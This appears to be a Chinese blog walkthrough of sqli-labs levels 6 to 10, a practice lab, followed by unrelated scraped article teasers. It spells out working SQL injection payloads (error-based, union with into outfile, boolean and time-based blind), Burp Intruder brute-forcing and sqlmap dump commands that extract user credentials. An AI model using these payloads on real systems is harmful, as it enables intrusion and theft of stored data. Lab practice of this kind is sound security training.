sqli-labs(6-10)关通关讲解

sqli-labs(6-10)关通关讲解

Less-6

方法一:手工注入

1.判断闭合

http://localhost/sqli-labs/Less-6/?id=1" //报错
http://localhost/sqli-labs/Less-6/?id=1" --+  //正常
http://localhost/sqli-labs/Less-6/?id=1" and 1=1 --+
http://localhost/sqli-labs/Less-6/?id=1" and 1=2 --+

image-20240723074403056

image-20240723074506128

image-20240723074515818

2.因为页面没有回显点而且语句错误会报错,所以我们用报错注入

先查数据库名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database()),3)--+

image-20240723074703304

3.再查表名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),3)--+

image-20240723074902900

4.查users表中字段名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),3)--+

image-20240723075008353

5.查username,password字段的数据

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3)--+

image-20240723075110959

这里发现数据并不全,若想查到后面的数据可用限制查询:

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),3)--+
#limt 4,1 从4开始查询一位,通过修改起始位置来分别查每行数据

image-20240723075244946

方法二:工具注入

使用sqlmap.py

1.查看所有数据库和当前数据库

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --dbs --batch

image-20240723075627745

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch --current-db

image-20240723075714182

2.查看security库中表

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security --tables

image-202407230759098763.c

3.查看users表中数据

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security -T users --dump

image-20240723080010436

Less-7

看下题目是用into outfile

image-20240725204313317

1.判断闭合

先尝试'发现页面显示

image-20240723080448118

"页面显示

image-20240723080517241

所以以**'**为主继续尝试闭合

http://localhost/sqli-labs/Less-7/?id=1')  and 1=1--+ //报错
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=1--+ //正常
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=2--+ //报错

所以闭合方式为 ')) --+

2.判断字段数

http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+ //正常
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4--+ //报错

3.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,database() into outfile   'D:/download/database.txt' --+

image-20240725205523035

image-20240725205546693

4.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile 'D:/download/table.txt' --+

image-20240725205743915

5.查users的列

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile 'D:/download/column.txt' --+

image-20240725205855253

6.users查数据

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(id,username,password) from users) into outfile 'D:/download/dump.txt' --+

image-20240725205957032

Less-8

题目是布尔注入-单引号

image-20240725210133170

1.判断闭合

http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+

image-20240723085056753

image-20240723085104474

2.可以看出既没有回显点也没有报错,可通过布尔注入方式进行注入

方法一:

先去猜数据库长度

# 数据库长度判断
1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5--+   //正常显示
?id=1' and length(database())>8--+   //异常显示
?id=1' and length(database())=8--+   //正常显示
所以可知当前数据库长度为8个字符
知道数据库长度之后,我们可以利用ascii() substr() 函数对数据库名进行截取判断
ascii码是多少,最终得到数据库名"ascii(substr(database(),1,1)) 
ps:substr()截取位置默认从1开始# 数据库名称判断
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>116--+
?id=1' and ascii(substr(database(),1,1))=115--+   //ascii码值115对应的字母为s
然后依次判断每个字符,数据库长度为8最后可以判断出当前数据库为 security

数据库表名、字段名、表数据都可按此方法依次执行

也可以使用BP对其ASCII码进行爆破…

抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击…

img

Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围

img

From:字符串截取起始位置,To:字符串截取结束位置

img

img

按长度排序找到只有8个一样长度的数据,将ASCII码值转换成字母然后从1到8排序,最后得到 security就是数据库名

img

查表名

第一步:获取数据库下表的个数

# 判断当前数据库中表的个数
//判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表
的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>4--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

img

第二步:分别注入出各个表名得长度。

第一个表:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
第二个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
第三个表
...

第三步:猜测表名每个字符的ASCII值

​ 抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb)

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+

第一个表:6个字段

img

img

img

img

通过排序查出第一个表为:emails

第二个表:长度为8

img

img

img

第二个表为:referers

其他表依次判断

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有 可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

爆破users字段名

第一步:判断字段数量

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)=3--+  //3个字段

第二步:判断users各字段长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))=8--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1))=8--+ 

第三步:判断每个字段的字符—BP抓包爆破

#判断语句是否之前
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)>'a'--+
#随便等于一个字母然后抓包爆破
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)='a'--+

第一个字段

img

img

img

img

所以为id

第二个第三个,修改limit从哪开始

img

img

或者把limit 0,1中 0也 设置成Payload1也可查出就是比较乱得找。

最终结果为:username,password

爆破字段下的内容

第一步:获取字段下内容得数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
获取字段第内容长度
# 猜解字段中数据的长度
//依次判断所有数据
?id=1' and length((select id from users limit 0,1))>5--+
?id=1' and length((select username from users limit 0,1))>3 --+
?id=1' and length((select password from users limit 0,1))>3 --+
#获取第一个字段内容
#猜解字段数据的每个字符ASCII编码的出字符或者直接=字符判断字符
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+然后通过Burp爆破获取

小结:一般布尔盲注,手工注入过于繁琐;不建议手注可借助工具如 SQLMAP…

方法二:工具注入

布尔盲注手工注入太过麻烦,最好借助工具sqlmap来注入

方法跟Less-6相同,这里我直接写出最后一步

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch -D security -T users --dump

image-20240725210950099

推荐使用工具注入

Less-9

题目提示用时间盲注

image-20240725211044833

1.判断闭合

之前判断方法都无法判断闭合但是可以用sleep()判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

image-20240725211532297

看见网页延时5s加载完那么闭合成功

2.判断数据库长度

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3.判断数据库字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) 
//依次判断每一个

image-20240725212025026

4.其他也是这样判断,太累了,这里就不赘述了。其实跟Less-8差不多,非常类似,都是靠猜。

Less-10

image-20240725212313947

跟Less-9一样,就是闭合不同

http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5)--+ 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3280387.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Vue Amazing UI:高颜值、高性能的前端组件库

Vue Amazing UI:高颜值、高性能的前端组件库 在当今前端开发中,Vue Amazing UI 作为一款功能强大的 UI 组件库,为开发者提供了全面的解决方案。本文将介绍 Vue Amazing UI 的基本信息、特点以及如何快速部署和使用。 软件简介 Vue Amazing U…

Win11没有记事本怎么办?更新至win11无法右键新建txt文件?

博主更新至Win11系统后目前用了不到一个月时间,今天突然发现 鼠标右键无法新建txt文件 了,一开始还以为Win11系统不支持txt类型文件,遂查找各种网上恢复教程。本文综合了多篇教程的方法,力求一文解决所有可能出现的情况&#xff0…

多路径TCP(MPTCP)研究概述

翻译自《A Brief Review of Multipath TCP for Vehicular Networks》一文的第2节(Chao L, Wu C, Yoshinaga T, et al. A brief review of multipath tcp for vehicular networks[J]. Sensors, 2021, 21(8): 2793)。 2.2. MPTCP概述 如今,大…

通知:全国135G大流量卡要统一下调至80G,大家抓紧下单!

通知:全国135G大流量卡要统一下调至80G,大家抓紧下单! 接运营商最新通知!! 7月27日起,全国互联网电话流量卡产品市场迎来了新一轮的调整,超过135G的流量卡将陆续下架,现有大流量卡流…

谷粒商城实战笔记-92~96-商品发布和查询

文章目录 Spu列表检索接口。Sku列表检索接口。仓库列表接口。问题记录 这一篇包含如下内容: 92-商品服务-API-新增商品-商品保存其他问题处理93-商品服务-API-商品管理-SPU检索94-商品服务-API-商品管理-SKU检索95-仓储服务-API-仓库管理-整合ware服务&获取仓库…

蚓链数字化营销系统:“爆省”!“爆赚”!“爆值”!“爆快”!“爆增”!“爆享”!

随着信息技术的飞速发展和消费者行为的深刻变化,数字化营销已成为企业在市场竞争中取得优势的关键手段。蚓链数字化营销系统凭借其创新的功能和策略,为企业带来了一系列“爆”优势! “按效果付费--信息化建设费用爆省”! “按效果…

卷积神经网络(五)---图像增强的方法

前面的部分专注于卷积神经网络的层结构介绍,同时还介绍了到目前为止比较出名的卷积神经网络,接着使用比较复杂的卷积神经网络提高了 MNIST 数据集的准确率。下面将从另外的角度——图像增强的方面入手,提高模型的准确率和泛化能力。 一直以来…

Android 系统与SDK和JDK版本对照表

Android 系统与SDK和JDK版本对照表 传说中的兼容问题是指在高版本 SDK 平台开发的软件,可能在低版本 Android 系统中运行时出现各种问题。而低版本 SDK 开发的软件在高版本 Android 系统中运行时基本没有兼容问题的。 Android版本SDK/API版本JDK版本备注Android 14…

Django的响应对象

【图书介绍】《Django 5企业级Web应用开发实战(视频教学版)》_django 5企业级web应用开发实战(视频教学版)-CSDN博客 《Django 5企业级Web应用开发实战(视频教学版)》(王金柱)【摘要 书评 试读】- 京东图书 (jd.com) Django的请…

react中zuStand状态管理工具使用

一、zuStand的基本使用 1.安装工具 npm install zustand 2.新建文件 在src下新建store文件夹,在store文件夹下新建zuStand.js文件 3.配置zuStand.js // 1.引入创建方法 import { create } from "zustand";// 2.创建store const useStore create((s…

hive 中编写生成连续月sql

记录一下 sql 编写生成从一个确定的起始月份到当前月份的连续月份序列 SELECT substr(add_months(table1.start_dt,table2.pos),1,4) AS INDICT_YEAR,substr(add_months(table1.start_dt,table2.pos),1,7) AS INDICT_MON FROM (SELECT 2024-01-01 AS start_dt,substr(CURRE…

vue3+cesium创建地图

1.我这边使用的是cdn引入形式 比较简单的方式 不需要下载依赖 在项目文件的index.html引入 这样cesium就会挂载到window对象上面去了 <!-- 引入cesium-js文件 --><script src"https://cesium.com/downloads/cesiumjs/releases/1.111/Build/Cesium/Cesium.js"…

【云原生】Kubernetes中的定时任务CronJob的详细用法与企业级应用案例分享

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

数据库安全:MySQL文件权限的安全问题和解决方案

「作者简介」&#xff1a;冬奥会网络安全中国代表队&#xff0c;CSDN Top100&#xff0c;就职奇安信多年&#xff0c;以实战工作为基础著作 《网络安全自学教程》&#xff0c;适合基础薄弱的同学系统化的学习网络安全&#xff0c;用最短的时间掌握最核心的技术。 这一章节我们需…

Java8新特性之Stream-Map

Map一些新方法的具体使用案例 1、getOrDefault:default V getOrDefault(Object key, V defaultValue) package com.qbb.threadpool;import java.util.HashMap; import java.util.Map;/*** author QiuQiu&LL (个人博客:https://www.cnblogs.com/qbbit)* version 1.0* date…

从功能出发:优化超市商品陈列,助力销售额提升

随着时代的发展&#xff0c;竞争的加剧&#xff0c;人们的生活节奏加快&#xff0c;时间观念越来越强。在这种情形下&#xff0c;作为超市&#xff0c;怎样为顾客提供一个舒适方便的购物环境&#xff0c;尽可能让顾客逛完整个卖场&#xff0c;满足一站式购足呢&#xff1f;除了…

外卖项目day10---缓存商品/Spring Cache初学、购物车功能

缓存菜品&#xff0c;只需要在DishController中修改一下代码即可 /*** 菜品管理*/ RestController RequestMapping("/admin/dish") Api(tags "菜品相关接口") Slf4j public class DishController {Autowiredprivate DishService dishService;Autowiredpri…

【前端面试】七、算法-递归

遍历方法总结 链式调用 数组的很多操作可以构成链式操作&#xff0c;类似这样的格式&#xff1a;…map().filter(…).sort(…).map(….)链式操作就是对象方法返回类型是自身的。比如map是属于数组的方法&#xff0c;它返回数组&#xff0c;所以构成了链式操作优势&#xff1a;…

The Llama 3 Herd of Models 第4部分后训练的全文

Llama 3前三部分包括介绍、总体概述和预训练https://blog.csdn.net/qq_51570094/article/details/140682445?spm=1001.2014.3001.5501 4 Post-Training 后训练 我们通过应用几轮后训练6或将模型与人类反馈对齐来生成对齐的Llama 3模型(Ouyang等人,2022;Rafailov等人,2024)在…

Null Pointer Exception: 如何快速定位和修复?️

Null Pointer Exception: 如何快速定位和修复&#xff1f;&#x1f4a1;&#x1f6e0;️ Null Pointer Exception: 如何快速定位和修复&#xff1f;&#x1f4a1;&#x1f6e0;️摘要引言正文内容什么是Null Pointer Exception&#xff1f;&#x1f914;NPE的常见原因&#x1f…